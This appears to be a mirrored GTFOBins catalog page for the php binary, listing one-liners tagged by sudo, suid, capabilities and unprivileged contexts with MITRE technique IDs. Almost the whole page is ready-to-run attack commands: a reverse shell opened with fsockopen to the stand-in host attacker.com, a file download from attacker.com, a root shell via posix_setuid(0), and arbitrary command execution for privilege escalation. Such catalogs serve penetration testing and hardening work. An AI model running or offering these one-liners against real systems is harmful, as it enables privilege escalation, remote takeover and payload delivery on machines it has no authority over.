DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

php

40 techniques Linux · macOSGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
Context
suid
Native
command
MITRE
T1059

command

Execution LinuxmacOS 
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
Context
unprivileged
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
Context
suid
Native
command
MITRE
T1059

command

Execution LinuxmacOS 
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
Context
unprivileged
Native
command
MITRE
T1059

download

File DownloadPrivilege Escalation LinuxmacOS 
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS 
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS 
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
Context
unprivileged
Native
download
MITRE
T1105

file-write

File WritePrivilege Escalation LinuxmacOS 
php -r 'file_put_contents("/path/to/output-file", "DATA");'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS 
php -r 'file_put_contents("/path/to/output-file", "DATA");'
Context
suid
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS 
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS 
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS 
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege Escalation LinuxmacOS 
php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
Context
capabilities
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS 
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
Context
suid
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS 
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
Context
unprivileged
Native
shell
MITRE
T1059